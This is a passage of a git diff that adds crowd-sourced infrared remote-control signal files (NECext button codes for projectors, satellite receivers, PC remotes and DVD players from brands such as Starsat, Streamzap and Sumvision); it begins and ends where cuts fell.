+command: 20 00 00 00 +# +name: TINT_- +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 21 00 00 00 +# +name: HUE_- +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 21 00 00 00 +# +name: SHARPNESS_+ +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 22 00 00 00 +# +name: SHARPNESS_- +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 23 00 00 00 +# +name: PICTURE_MUTE +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 24 00 00 00 +# +name: PIC +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 24 00 00 00 +# +name: PIC-MUTING +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 24 00 00 00 +# +name: VIDEO_MUTING +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 24 00 00 00 +# +name: PICTURE_MUTING +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 24 00 00 00 +# +name: STATUS_ON +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 25 00 00 00 +# +name: STATUS_OFF +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 26 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 29 00 00 00 +# +name: PAGE +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 29 00 00 00 +# +name: VIDEO +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 2A 00 00 00 +# +name: VIDEO_INPUT +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 2A 00 00 00 +# +name: INPUT:VIDEO +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 2A 00 00 00 +# +name: INPUT_-_VIDEO +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 2A 00 00 00 +# +name: INPUT_A +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 2B 00 00 00 +# +name: A +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 2B 00 00 00 +# +name: INPUT:A +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 2B 00 00 00 +# +name: INPUT_-_A +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 2B 00 00 00 +# +name: INPUT_B +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 2C 00 00 00 +# +name: B +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 2C 00 00 00 +# +name: INPUT:B +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 2C 00 00 00 +# +name: INPUT_-_B +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 2C 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 2E 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 2E 00 00 00 +# +name: ON +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 2E 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 2F 00 00 00 +# +name: STANDBY_POWER_OFF +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 2F 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 2F 00 00 00 +# +name: OFF +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 2F 00 00 00 +# +name: POSITION_+ +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 31 00 00 00 +# +name: POSITION_- +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 32 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 33 00 00 00 +# +name: RT +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 33 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 33 00 00 00 +# +name: ARROW_RIGHT +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 33 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 34 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 34 00 00 00 +# +name: ARROW_LEFT +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 34 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 35 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 35 00 00 00 +# +name: ARROW_UP +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 35 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 35 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 36 00 00 00 +# +name: DN +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 36 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 36 00 00 00 +# +name: ARROW_DOWN +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 36 00 00 00 +# +name: RGB_SIZE +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 47 00 00 00 +# +name: RGB_SHIFT +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 48 00 00 00 +# +name: CENTER_RED +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 49 00 00 00 +# +name: CENTER_BLUE +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 4B 00 00 00 +# +name: INPUT +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 57 00 00 00 +# +name: INPUT_SELECT +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 57 00 00 00 +# +name: BLANKING +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 58 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 5A 00 00 00 +# +name: LT +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 5A 00 00 00 +# +name: MEMORY +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 5E 00 00 00 +# +name: S-VIDEO +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 5F 00 00 00 +# +name: SVIDEO +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 5F 00 00 00 +# +name: VIDEO_SELECT_(VID/S) +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 5F 00 00 00 +# +name: INPUT_SELECT +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 5F 00 00 00 +# +name: INPUT:S_VIDEO +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 5F 00 00 00 +# +name: S_VIDEO +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 5F 00 00 00 +# +name: INPUT_-_SVIDEO +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 5F 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 60 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 61 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 62 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 63 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 64 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 65 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 66 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 67 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 68 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 69 00 00 00 +# +name: C +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 6F 00 00 00 +# +name: D +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 70 00 00 00 +# +name: RESET +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 7B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Speed-link/Unknown_SL-6399/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Speed-link/Unknown_SL-6399/0,-1.ir new file mode 100644 index 000000000..fb191667e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Speed-link/Unknown_SL-6399/0,-1.ir @@ -0,0 +1,296 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: TV_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_NUMERIC_STAR +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: KEY_NUMERIC_POUND +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_HOME +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: PC_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: MORE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 19 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1B 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1D 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1F 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 40 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 42 00 00 00 +# +name: ASPECT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 43 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 44 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 45 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 48 00 00 00 +# +name: RTV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 49 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4A 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4B 00 00 00 +# +name: KEY_HELP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4C 00 00 00 +# +name: KEY_RADIO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4D 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4F 00 00 00 +# +name: KEY_DVD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 50 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 51 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 52 00 00 00 +# +name: WINDOWS +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 53 00 00 00 +# +name: MSN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 57 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Starsat/Unknown_120/64,64.ir b/assets/resources/infrared/_CSV-IRDB_/Starsat/Unknown_120/64,64.ir new file mode 100644 index 000000000..33309335f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Starsat/Unknown_120/64,64.ir @@ -0,0 +1,248 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 09 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 0A 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 0B 00 00 00 +# +name: >^ +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 0B 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 0C 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 0D 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 0E 00 00 00 +# +name: TV/SAT +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 0F 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 10 00 00 00 +# +name: Ritgh +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 11 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 12 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 13 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 14 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 15 00 00 00 +# +name: Read +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 16 00 00 00 +# +name: Sabz +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 17 00 00 00 +# +name: Yellowe +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 18 00 00 00 +# +name: Bule +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 19 00 00 00 +# +name: KEY_EPG +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 1A 00 00 00 +# +name: LAN +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 1B 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 1C 00 00 00 +# +name: Media +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 1D 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 1E 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 1F 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 40 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 41 00 00 00 +# +name: KEY_I +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 42 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 43 00 00 00 +# +name: A-Z +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 44 00 00 00 +# +name: KEY_SAT +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 45 00 00 00 +# +name: FUNC +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 46 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 47 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Starview/Unknown_Starview/0,249.ir b/assets/resources/infrared/_CSV-IRDB_/Starview/Unknown_Starview/0,249.ir new file mode 100644 index 000000000..59067dbbf --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Starview/Unknown_Starview/0,249.ir @@ -0,0 +1,200 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 F9 00 00 +command: 00 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 F9 00 00 +command: 01 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 F9 00 00 +command: 02 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 F9 00 00 +command: 03 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 00 F9 00 00 +command: 04 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 00 F9 00 00 +command: 05 00 00 00 +# +name: KEY_EPG +type: parsed +protocol: NECext +address: 00 F9 00 00 +command: 06 00 00 00 +# +name: sig +type: parsed +protocol: NECext +address: 00 F9 00 00 +command: 07 00 00 00 +# +name: tv/radio +type: parsed +protocol: NECext +address: 00 F9 00 00 +command: 08 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 00 F9 00 00 +command: 09 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 F9 00 00 +command: 0A 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 00 F9 00 00 +command: 0B 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 F9 00 00 +command: 0C 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 00 F9 00 00 +command: 0D 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 00 F9 00 00 +command: 0E 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 F9 00 00 +command: 10 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 F9 00 00 +command: 11 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 F9 00 00 +command: 12 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 F9 00 00 +command: 13 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 F9 00 00 +command: 14 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 F9 00 00 +command: 15 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 F9 00 00 +command: 16 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 F9 00 00 +command: 17 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 F9 00 00 +command: 18 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 F9 00 00 +command: 19 00 00 00 +# +name: KEY_LAST +type: parsed +protocol: NECext +address: 00 F9 00 00 +command: 1C 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 00 F9 00 00 +command: 1D 00 00 00 +# +name: s.l. +type: parsed +protocol: NECext +address: 00 F9 00 00 +command: 1E 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 00 F9 00 00 +command: 1F 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 00 F9 00 00 +command: 40 00 00 00 +# +name: ttx +type: parsed +protocol: NECext +address: 00 F9 00 00 +command: 41 00 00 00 +# +name: KEY_PAGEDOWN +type: parsed +protocol: NECext +address: 00 F9 00 00 +command: 43 00 00 00 +# +name: KEY_PAGEUP +type: parsed +protocol: NECext +address: 00 F9 00 00 +command: 44 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Streamzap/Unknown_PC/35,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Streamzap/Unknown_PC/35,-1.ir new file mode 100644 index 000000000..8ae9d1a4f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Streamzap/Unknown_PC/35,-1.ir @@ -0,0 +1,212 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 23 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 23 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 23 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 23 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 23 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 23 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 23 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 23 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 23 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 23 00 00 00 +command: 09 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 23 00 00 00 +command: 0A 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 23 00 00 00 +command: 0B 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 23 00 00 00 +command: 0C 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 23 00 00 00 +command: 0D 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 23 00 00 00 +command: 0E 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 23 00 00 00 +command: 0F 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 23 00 00 00 +command: 10 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 23 00 00 00 +command: 11 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 23 00 00 00 +command: 12 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 23 00 00 00 +command: 13 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 23 00 00 00 +command: 14 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 23 00 00 00 +command: 15 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 23 00 00 00 +command: 16 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 23 00 00 00 +command: 17 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 23 00 00 00 +command: 18 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 23 00 00 00 +command: 19 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 23 00 00 00 +command: 1A 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 23 00 00 00 +command: 1B 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 23 00 00 00 +command: 1C 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 23 00 00 00 +command: 1D 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 23 00 00 00 +command: 1E 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 23 00 00 00 +command: 20 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 23 00 00 00 +command: 21 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 23 00 00 00 +command: 22 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 23 00 00 00 +command: 23 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sumvision/Unknown_Sumvision/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sumvision/Unknown_Sumvision/0,-1.ir new file mode 100644 index 000000000..90b0b19d6 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sumvision/Unknown_Sumvision/0,-1.ir @@ -0,0 +1,272 @@ +Filetype: IR signals file +Version: 1 +# +name: Step +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: Prog +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: HDMI +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: V-Mode +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 19 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1B 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1D 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1F 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 40 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 41 00 00 00 +# +name: Rev +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 43 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 44 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 45 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 46 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 47 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 48 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 49 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4A 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4B 00 00 00 +# +name: Menu/PBC +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 50 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 51 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 52 00 00 00 +# +name: KEY_PLAYPAUSE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 53 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 55 00 00 00 +# +name: KEY_SLOW +type: 